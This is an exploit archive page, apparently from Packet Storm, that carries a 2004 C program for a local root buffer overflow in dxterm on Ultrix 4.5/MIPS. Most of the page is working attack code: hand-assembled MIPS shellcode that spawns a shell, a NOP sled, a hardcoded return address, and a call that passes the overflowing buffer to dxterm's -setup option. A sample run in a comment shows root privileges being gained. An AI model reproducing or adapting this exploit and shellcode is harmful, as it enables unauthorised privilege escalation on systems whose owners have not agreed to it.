what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ultrix_dxterm_4.5_exploit.c

ultrix_dxterm_4.5_exploit.c
Posted Dec 30, 2004
Authored by ztion

Ultrix 4.5/MIPS dxterm local root exploit.

tags | exploit, local, root
SHA-256 | a9f9cac2b843401fbda3fc88a820da9c83707b1c0da6ba220ccbd95e33098818

ultrix_dxterm_4.5_exploit.c

Change Mirror Download
Well,

I hadn't seen a buffer overflow exploit for ultrix on bugtraq, so I
decided to make one. I don't think anyone is using ultrix seriously
anymore, so this is just for fun ;).

-- cut here --

/* Ultrix 4.5/MIPS dxterm exploit
by ztion in 2004
Greets to: Stok, sidez

It wasn't possible to use '/' in the shellcode. Probably dxterm only
copies everything after the last slash, as it expects a path.
Since everything is pretty much hardcoded, you will probably have to
tweak it for versions other than 4.5

nora> ./ultrix_dxterm_4.5_exploit
$ id
uid=268(ztion) gid=15(users)euid=0(root)
*/

#include <stdio.h>

#define NOP 0x25f8e003
#define RET 0x7fffbe90

char shellcode[] = {
0x69,0x6e,0x19,0x3c, /* lui $t9, 0x6e69 */
0x2e,0x61,0x39,0x37, /* ori $t9, $t9, 0x612e */
0x38,0x01,0xb6,0x23, /* addi $s6, $sp, 312 */
0x01,0x01,0x39,0x23, /* addi $t9, $t9, 0x0101 */
0xf0,0xfe,0xd9,0xae, /* sw $t9, -272($s6) */
0x73,0x68,0x19,0x3c, /* lui $t9, 0x6873 */
0x11,0x11,0x06,0x24, /* li $a2, 0x1111 */
0x11,0x11,0xc6,0x38, /* xori $a2, $a2, 0x1111 */
0x2e,0x2e,0x39,0x37, /* ori $t9, $t9, 0x2e2e */
0xf0,0xfe,0xc4,0x26, /* addiu $a0, $s6, -272 */
0x01,0x01,0x39,0x23, /* addi $t9, $t9, 0x0101 */
0x3f,0x01,0x02,0x24, /* li $v0, 319 */
0xfc,0xfe,0x42,0x20, /* addi $v0, $v0, -260 */
0xf4,0xfe,0xd9,0xae, /* sw $t9, -268($s6) */
0xe8,0xfe,0xc4,0xae, /* sw $a0, -280($s6) */
0xf8,0xfe,0xc6,0xae, /* sw $a2, -264($s6) */
0xec,0xfe,0xc6,0xae, /* sw $a2, -276($s6) */
0xe8,0xfe,0xc5,0x26, /* addiu $a1, $s6, -280 */
0xcc,0xff,0xff,0x01 /* syscall */

};

int main(void)
{
char buf[256];
int i;


memset (buf, 2, 255);
i = 0;
while (i <= 8) {
((int *)(buf+1))[i] = NOP;
i++;
}

memcpy (buf+33, shellcode, sizeof(shellcode));

((int *)(buf+3))[29] = RET;
/* 119 - 122 is the return address */
buf[123] = '\0';

execl ("/usr/bin/dxterm", "dxterm", "-display", "localhost:0", "-setup", buf, NULL);
}


--
/Kristoffer Brånemyr
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close